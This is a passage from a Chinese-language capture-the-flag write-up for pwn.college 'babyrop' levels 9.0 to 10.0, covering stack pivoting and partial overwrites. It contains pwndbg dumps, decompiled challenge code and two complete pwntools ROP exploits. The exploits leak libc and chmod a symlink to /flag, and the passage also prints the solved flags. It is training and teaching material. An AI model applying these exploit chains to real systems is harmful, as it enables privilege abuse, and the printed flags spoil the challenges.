 RSI  0x7d78a47f7643 (_IO_2_1_stdout_+131) ◂— 0x7f8710000000000a /* &apos;\n&apos; */
 R8   0x20710
 R9   7
 R10  0x27643840 ◂— 0
 R11  0x202
 R12  1
 R13  0
 R14  0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
 R15  0
 RBP  0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— 0
*RSP  0x7fff4c2cfcb0 —▸ 0x4050a0 (stdout@@GLIBC_2.2.5) —▸ 0x7d78a47f75c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
*RIP  0x40129d (__do_global_dtors_aux+29) ◂— pop rbp
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x4026b5 &amp;lt;challenge+482&amp;gt;               ret                                &amp;lt;__do_global_dtors_aux+29&amp;gt;
    ↓
 ► 0x40129d &amp;lt;__do_global_dtors_aux+29&amp;gt;    pop    rbp     RBP =&amp;gt; 0x4050a0 (stdout@@GLIBC_2.2.5)
   0x40129e &amp;lt;__do_global_dtors_aux+30&amp;gt;    ret                                &amp;lt;print_gadget+498&amp;gt;
    ↓
   0x4016ab &amp;lt;print_gadget+498&amp;gt;            leave
   0x4016ac &amp;lt;print_gadget+499&amp;gt;            ret                                &amp;lt;0&amp;gt;
    ↓



─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff4c2cfcb0 —▸ 0x4050a0 (stdout@@GLIBC_2.2.5) —▸ 0x7d78a47f75c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0008│-018 0x7fff4c2cfcb8 —▸ 0x4016ab (print_gadget+498) ◂— leave
02:0010│-010 0x7fff4c2cfcc0 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
03:0018│-008 0x7fff4c2cfcc8 ◂— 0x14c2cfdf8
04:0020│ rbp 0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— 0
05:0028│+008 0x7fff4c2cfcd8 —▸ 0x7d78a4634e08 ◂— mov edi, eax
06:0030│+010 0x7fff4c2cfce0 —▸ 0x7fff4c2cfd20 —▸ 0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
07:0038│+018 0x7fff4c2cfce8 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x40129d __do_global_dtors_aux+29
   1         0x4050a0 stdout@@GLIBC_2.2.5
   2         0x4016ab print_gadget+498
   3   0x7d78a4634e08
   4   0x7d78a4634ecc __libc_start_main+140
   5         0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt;
0x000000000040129e in __do_global_dtors_aux ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  9
 RBX  0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
 RCX  0x7d78a471b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0
 RDI  0x7d78a47f8710 ◂— 0
 RSI  0x7d78a47f7643 (_IO_2_1_stdout_+131) ◂— 0x7f8710000000000a /* &apos;\n&apos; */
 R8   0x20710
 R9   7
 R10  0x27643840 ◂— 0
 R11  0x202
 R12  1
 R13  0
 R14  0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
 R15  0
*RBP  0x4050a0 (stdout@@GLIBC_2.2.5) —▸ 0x7d78a47f75c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
*RSP  0x7fff4c2cfcb8 —▸ 0x4016ab (print_gadget+498) ◂— leave
*RIP  0x40129e (__do_global_dtors_aux+30) ◂— ret
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x4026b5 &amp;lt;challenge+482&amp;gt;               ret                                &amp;lt;__do_global_dtors_aux+29&amp;gt;
    ↓
   0x40129d &amp;lt;__do_global_dtors_aux+29&amp;gt;    pop    rbp     RBP =&amp;gt; 0x4050a0 (stdout@@GLIBC_2.2.5)
 ► 0x40129e &amp;lt;__do_global_dtors_aux+30&amp;gt;    ret                                &amp;lt;print_gadget+498&amp;gt;
    ↓
   0x4016ab &amp;lt;print_gadget+498&amp;gt;            leave
   0x4016ac &amp;lt;print_gadget+499&amp;gt;            ret                                &amp;lt;0&amp;gt;
    ↓



─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff4c2cfcb8 —▸ 0x4016ab (print_gadget+498) ◂— leave
01:0008│     0x7fff4c2cfcc0 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
02:0010│     0x7fff4c2cfcc8 ◂— 0x14c2cfdf8
03:0018│     0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— 0
04:0020│     0x7fff4c2cfcd8 —▸ 0x7d78a4634e08 ◂— mov edi, eax
05:0028│     0x7fff4c2cfce0 —▸ 0x7fff4c2cfd20 —▸ 0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
06:0030│     0x7fff4c2cfce8 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
07:0038│     0x7fff4c2cfcf0 ◂— 0x100400040 /* &apos;@&apos; */
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x40129e __do_global_dtors_aux+30
   1         0x4016ab print_gadget+498
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt;
0x00000000004016ab in print_gadget ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  9
 RBX  0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
 RCX  0x7d78a471b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0
 RDI  0x7d78a47f8710 ◂— 0
 RSI  0x7d78a47f7643 (_IO_2_1_stdout_+131) ◂— 0x7f8710000000000a /* &apos;\n&apos; */
 R8   0x20710
 R9   7
 R10  0x27643840 ◂— 0
 R11  0x202
 R12  1
 R13  0
 R14  0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
 R15  0
 RBP  0x4050a0 (stdout@@GLIBC_2.2.5) —▸ 0x7d78a47f75c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
*RSP  0x7fff4c2cfcc0 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
*RIP  0x4016ab (print_gadget+498) ◂— leave
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x4026b5 &amp;lt;challenge+482&amp;gt;               ret                                &amp;lt;__do_global_dtors_aux+29&amp;gt;
    ↓
   0x40129d &amp;lt;__do_global_dtors_aux+29&amp;gt;    pop    rbp     RBP =&amp;gt; 0x4050a0 (stdout@@GLIBC_2.2.5)
   0x40129e &amp;lt;__do_global_dtors_aux+30&amp;gt;    ret                                &amp;lt;print_gadget+498&amp;gt;
    ↓
 ► 0x4016ab &amp;lt;print_gadget+498&amp;gt;            leave
   0x4016ac &amp;lt;print_gadget+499&amp;gt;            ret                                &amp;lt;0&amp;gt;
    ↓



─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff4c2cfcc0 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
01:0008│     0x7fff4c2cfcc8 ◂— 0x14c2cfdf8
02:0010│     0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— 0
03:0018│     0x7fff4c2cfcd8 —▸ 0x7d78a4634e08 ◂— mov edi, eax
04:0020│     0x7fff4c2cfce0 —▸ 0x7fff4c2cfd20 —▸ 0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
05:0028│     0x7fff4c2cfce8 —▸ 0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
06:0030│     0x7fff4c2cfcf0 ◂— 0x100400040 /* &apos;@&apos; */
07:0038│     0x7fff4c2cfcf8 —▸ 0x4026b6 (main) ◂— endbr64
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x4016ab print_gadget+498
   1              0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt;
0x00000000004016ac in print_gadget ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  9
 RBX  0x7fff4c2cfdf8 —▸ 0x7fff4c2d0635 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level9.0&apos;
 RCX  0x7d78a471b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0
 RDI  0x7d78a47f8710 ◂— 0
 RSI  0x7d78a47f7643 (_IO_2_1_stdout_+131) ◂— 0x7f8710000000000a /* &apos;\n&apos; */
 R8   0x20710
 R9   7
 R10  0x27643840 ◂— 0
 R11  0x202
 R12  1
 R13  0
 R14  0x7d78a4fd4000 (_rtld_global) —▸ 0x7d78a4fd52e0 ◂— 0
 R15  0
*RBP  0x7d78a47f75c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
*RSP  0x4050a8 ◂— 0
*RIP  0x4016ac (print_gadget+499) ◂— ret
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
   0x4026b5 &amp;lt;challenge+482&amp;gt;               ret                                &amp;lt;__do_global_dtors_aux+29&amp;gt;
    ↓
   0x40129d &amp;lt;__do_global_dtors_aux+29&amp;gt;    pop    rbp     RBP =&amp;gt; 0x4050a0 (stdout@@GLIBC_2.2.5)
   0x40129e &amp;lt;__do_global_dtors_aux+30&amp;gt;    ret                                &amp;lt;print_gadget+498&amp;gt;
    ↓
   0x4016ab &amp;lt;print_gadget+498&amp;gt;            leave
 ► 0x4016ac &amp;lt;print_gadget+499&amp;gt;            ret                                &amp;lt;0&amp;gt;
    ↓



─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x4050a8 ◂— 0
01:0008│     0x4050b0 (stdin@@GLIBC_2.2.5) —▸ 0x7d78a47f68e0 (_IO_2_1_stdin_) ◂— 0xfbad208b
02:0010│     0x4050b8 (completed) ◂— 0
... ↓        2 skipped
05:0028│     0x4050d0 (bp_) —▸ 0x7fff4c2cfca0 —▸ 0x7fff4c2cfcd0 —▸ 0x7fff4c2cfd70 —▸ 0x7fff4c2cfdd0 ◂— ...
06:0030│     0x4050d8 (cv_) ◂— 0
07:0038│     0x4050e0 (data) ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► 0         0x4016ac print_gadget+499
   1              0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg&amp;gt; dist $rsp $1
0x4050a8-&amp;gt;0x4150e0 is 0x10038 bytes (0x2007 words)
pwndbg&amp;gt; x/10gx $1
0x4150e0 &amp;lt;data+65536&amp;gt;: 0x000000000040129d 0x00000000004050a0
0x4150f0 &amp;lt;data+65552&amp;gt;: 0x00000000004016ab 0x0000000000000000
0x415100 &amp;lt;data+65568&amp;gt;: 0x0000000000000000 0x0000000000000000
0x415110 &amp;lt;data+65584&amp;gt;: 0x0000000000000000 0x0000000000000000
0x415120 &amp;lt;data+65600&amp;gt;: 0x0000000000000000 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过上面的调试我们知道，执行完栈迁移后应该返回到 &lt;code&gt;elf.bss() + 0x10038 + 0x18&lt;/code&gt; 处继续执行，&lt;code&gt;+ 0x18&lt;/code&gt; 是为了跳过执行栈迁移的三条指令。&lt;/p&gt;
&lt;p&gt;那么接下来就好办了，思路可以参考 &lt;a href=&quot;#level-80&quot;&gt;Level 8&lt;/a&gt;。既然我们已经有了更大的栈空间存放 gadgets，那接下来就只要泄漏 &lt;code&gt;libc&lt;/code&gt; 基地址，调用 &lt;code&gt;chmod&lt;/code&gt; 就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level9.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+409
b *challenge+482
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage, leaked_addr=None):
    rop = ROP(elf)
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

    pop_rbp_ret = rop.rbp.address
    leavel_ret = rop.leave.address
    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.find_gadget([&quot;pop rsi&quot;, &quot;pop r15&quot;, &quot;ret&quot;]).address

    gadgets_offset = 0x10038 + 0x18

    if stage == 1:
        payload = flat(
            pop_rbp_ret,
            elf.bss() + gadgets_offset,
            leavel_ret,
            pop_rdi_ret,
            elf.got[&quot;puts&quot;],
            elf.plt[&quot;puts&quot;],
            elf.symbols[&quot;_start&quot;],
        )

        return payload
    elif stage == 2:
        libc.address = leaked_addr - libc.symbols[&quot;puts&quot;]

        filename = next(elf.search(b&quot;GNU&quot;))
        mode = 0o4

        payload = flat(
            pop_rbp_ret,
            elf.bss() + gadgets_offset,
            leavel_ret,
            pop_rdi_ret,
            filename,
            pop_rsi_pop_r15_ret,
            mode,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            libc.symbols[&quot;chmod&quot;],
        )

        return payload
    else:
        log.error(&quot;Incorrect stage number!&quot;)


def leak(target):
    target.recvuntil(b&quot;Leaving!\x0a&quot;)

    return int.from_bytes(target.recv(0x6), &quot;little&quot;)


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        payload = construct_payload(2, leak(target))

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(1)

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{8pCSQF9tTLebDaqobUsXUt7T1Yp.01N1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 9.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform a stack pivot to gain control flow!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-90&quot;&gt;Level 9.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level9.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *challenge+78
b *challenge+97
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage, leaked_addr=None):
    rop = ROP(elf)
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)

    pop_rbp_ret = rop.rbp.address
    leavel_ret = rop.leave.address
    pop_rdi_ret = rop.rdi.address
    pop_rsi_pop_r15_ret = rop.find_gadget([&quot;pop rsi&quot;, &quot;pop r15&quot;, &quot;ret&quot;]).address

    gadgets_offset = 0x10018 + 0x18

    if stage == 1:
        payload = flat(
            pop_rbp_ret,
            elf.bss() + gadgets_offset,
            leavel_ret,
            pop_rdi_ret,
            elf.got[&quot;puts&quot;],
            elf.plt[&quot;puts&quot;],
            elf.symbols[&quot;_start&quot;],
        )

        return payload
    elif stage == 2:
        libc.address = leaked_addr - libc.symbols[&quot;puts&quot;]

        filename = next(elf.search(b&quot;GNU&quot;))
        mode = 0o4

        payload = flat(
            pop_rbp_ret,
            elf.bss() + gadgets_offset,
            leavel_ret,
            pop_rdi_ret,
            filename,
            pop_rsi_pop_r15_ret,
            mode,
            b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
            libc.symbols[&quot;chmod&quot;],
        )

        return payload
    else:
        log.error(&quot;Incorrect stage number!&quot;)


def leak(target):
    target.recvuntil(b&quot;Leaving!\x0a&quot;)

    return int.from_bytes(target.recv(0x6), &quot;little&quot;)


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        send_payload(target, payload)

        payload = construct_payload(2, leak(target))

        send_payload(target, payload)

        target.recvall(timeout=3)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(1)

        if attack(target, payload):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{8cUj1kJEP7UIyfDvbSd34M8nJI-.0FO1MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 10.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform a partial overwrite to call the win function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  _QWORD v4[3]; // [rsp+0h] [rbp-A0h] BYREF
  int v5; // [rsp+1Ch] [rbp-84h]
  void *dest[15]; // [rsp+20h] [rbp-80h] BYREF
  int v7; // [rsp+9Ch] [rbp-4h]
  __int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+A8h] [rbp+8h] BYREF

  v5 = a1;
  v4[2] = a2;
  v4[1] = a3;
  puts(
    &quot;This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of&quot;);
  puts(&quot;challenges, you will become painfully familiar with the concept of Return Oriented Programming!\n&quot;);
  memset(dest, 0, 0x70uLL);
  sp_ = (__int64)v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(
    &quot;PIE is turned on! This means that you do not know where any of the gadgets in the main binary are. However, you can do a&quot;);
  puts(
    &quot;partial overwrite of the saved instruction pointer in order to execute 1 gadget! If that saved instruction pointer goes&quot;);
  puts(
    &quot;to libc, you will need to ROP from there. If that saved instruction pointer goes to the main binary, you will need to&quot;);
  puts(
    &quot;ROP from there. You may need need to execute your payload several times to account for the randomness introduced. This&quot;);
  puts(&quot;might take anywhere from 0-12 bits of bruteforce depending on the scenario.\n&quot;);
  puts(&quot;In this challenge, a pointer to the win function is stored on the stack.&quot;);
  printf(&quot;That pointer is stored at %p, %d bytes before your input buffer.\n&quot;, dest, 8);
  puts(&quot;If you can pivot the stack to make the next gadget run be that win function, you will get the flag!\n&quot;);
  puts(&quot;ASLR means that the address of the stack is not known,&quot;);
  puts(&quot;but I will simulate a memory disclosure of it.&quot;);
  puts(&quot;By knowing where the stack is, you can now reference data&quot;);
  puts(&quot;that you write onto the stack.&quot;);
  puts(&quot;Be careful: this data could trip up your ROP chain,&quot;);
  puts(&quot;because it could be interpreted as return addresses.&quot;);
  puts(&quot;You can use gadgets that shift the stack appropriately to avoid that.&quot;);
  printf(&quot;[LEAK] Your input buffer is located at: %p.\n\n&quot;, &amp;amp;dest[1]);
  dest[0] = mmap(0LL, 0x138uLL, 3, 34, 0, 0LL);
  memcpy(dest[0], sub_2760, 0x138uLL);
  if ( mprotect(dest[0], 0x138uLL, 5) )
    __assert_fail(&quot;mprotect(data.win_addr, 0x138, PROT_READ|PROT_EXEC) == 0&quot;, &quot;&amp;lt;stdin&amp;gt;&quot;, 0xA0u, &quot;challenge&quot;);
  printf(&quot;The win function has just been dynamically constructed at %p.\n&quot;, dest[0]);
  v7 = read(0, &amp;amp;dest[1], 0x1000uLL);
  printf(&quot;Received %d bytes! This is potentially %d gadgets.\n&quot;, v7, ((unsigned __int64)&amp;amp;dest[1] + v7 - rp_) &amp;gt;&amp;gt; 3);
  puts(&quot;Let&apos;s take a look at your chain! Note that we have no way to verify that the gadgets are executable&quot;);
  puts(&quot;from within this challenge. You will have to do that by yourself.&quot;);
  print_chain(rp_, (unsigned int)(((unsigned __int64)&amp;amp;dest[1] + v7 - rp_) &amp;gt;&amp;gt; 3) + 1);
  return puts(&quot;Leaving!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;signed __int64 sub_2760()
{
  signed __int64 v0; // rax
  char v2[264]; // [rsp+0h] [rbp-108h] BYREF

  *(_QWORD *)v2 = 0x67616C662FLL;
  v0 = sys_open(v2, 0, 0);
  return sys_write(1u, v2, sys_read(v0, v2, 0x100uLL));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;标绿的部分把 &lt;code&gt;sub_2760&lt;/code&gt; 的地址映射到了 &lt;code&gt;dest[0]&lt;/code&gt;，并设置为 &lt;code&gt;r-x&lt;/code&gt;，&lt;code&gt;read&lt;/code&gt; 可以覆盖返回地址，但这个程序开启了 PIE，我们需要通过部分写绕过它，执行 &lt;code&gt;dest[0]&lt;/code&gt; 处保存的 &lt;code&gt;sub_2760&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;比如我们知道一个 gadget 是 &lt;code&gt;0x0000000000001313 : pop rbp ; ret&lt;/code&gt;，因为有 PIE 所以我们只能得到它的偏移 &lt;code&gt;0x313&lt;/code&gt;，调试验证一下在已知页地址的情况下利用这个偏移得到的是否是 &lt;code&gt;pop rbp ; ret&lt;/code&gt; 这个 gadget：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Breakpoint 1, 0x000058bfb2ecdaf6 in challenge ()
------- tip of the day (disable with set show-tips off) -------
Pwndbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see info signals for full GDB signals configuration
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
 RAX  9
 RBX  0x7ffe804c46d8 —▸ 0x7ffe804c6633 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level10.0&apos;
 RCX  0x77b50a11b7a4 (write+20) ◂— cmp rax, -0x1000 /* &apos;H=&apos; */
 RDX  0
 RDI  0x77b50a1f8710 ◂— 0
 RSI  0x77b50a1f7643 (_IO_2_1_stdout_+131) ◂— 0x1f8710000000000a /* &apos;\n&apos; */
 R8   0x58bfc6494010 ◂— 0
 R9   7
 R10  0x58bfc64942a0 ◂— 0x58bfc6494
 R11  0x202
 R12  1
 R13  0
 R14  0x77b50aae8000 (_rtld_global) —▸ 0x77b50aae92e0 —▸ 0x58bfb2ecc000 ◂— 0x10102464c457f
 R15  0
 RBP  0x4141414141414141 (&apos;AAAAAAAA&apos;)
 RSP  0x7ffe804c4588 —▸ 0x58bfb2ecdb9c (main+165) ◂— lea rdi, [rip + 0xd98]
 RIP  0x58bfb2ecdaf6 (challenge+703) ◂— ret
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
 ► 0x58bfb2ecdaf6 &amp;lt;challenge+703&amp;gt;         ret                                &amp;lt;main+165&amp;gt;
    ↓
   0x58bfb2ecdb9c &amp;lt;main+165&amp;gt;              lea    rdi, [rip + 0xd98]     RDI =&amp;gt; 0x58bfb2ece93b ◂— &apos;### Goodbye!&apos;
   0x58bfb2ecdba3 &amp;lt;main+172&amp;gt;              call   puts@plt                    &amp;lt;puts@plt&amp;gt;

   0x58bfb2ecdba8 &amp;lt;main+177&amp;gt;              mov    eax, 0                  EAX =&amp;gt; 0
   0x58bfb2ecdbad &amp;lt;main+182&amp;gt;              leave
   0x58bfb2ecdbae &amp;lt;main+183&amp;gt;              ret

   0x58bfb2ecdbaf                         nop
   0x58bfb2ecdbb0 &amp;lt;__libc_csu_init&amp;gt;       endbr64
   0x58bfb2ecdbb4 &amp;lt;__libc_csu_init+4&amp;gt;     push   r15
   0x58bfb2ecdbb6 &amp;lt;__libc_csu_init+6&amp;gt;     lea    r15, [rip + 0x2173]     R15 =&amp;gt; 0x58bfb2ecfd30 (__init_array_start) —▸ 0x58bfb2ecd320 (frame_dummy) ◂— endbr64
   0x58bfb2ecdbbd &amp;lt;__libc_csu_init+13&amp;gt;    push   r14
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe804c4588 —▸ 0x58bfb2ecdb9c (main+165) ◂— lea rdi, [rip + 0xd98]
01:0008│     0x7ffe804c4590 ◂— 0
02:0010│     0x7ffe804c4598 —▸ 0x7ffe804c46e8 —▸ 0x7ffe804c6669 ◂— &apos;MOTD_SHOWN=pam&apos;
03:0018│     0x7ffe804c45a0 —▸ 0x7ffe804c46d8 —▸ 0x7ffe804c6633 ◂— &apos;/home/cub3y0nd/Projects/pwn.college/babyrop_level10.0&apos;
04:0020│     0x7ffe804c45a8 ◂— 0x1804c46d8
05:0028│     0x7ffe804c45b0 —▸ 0x7ffe804c4650 —▸ 0x7ffe804c46b0 ◂— 0
06:0030│     0x7ffe804c45b8 —▸ 0x77b50a034e08 ◂— mov edi, eax
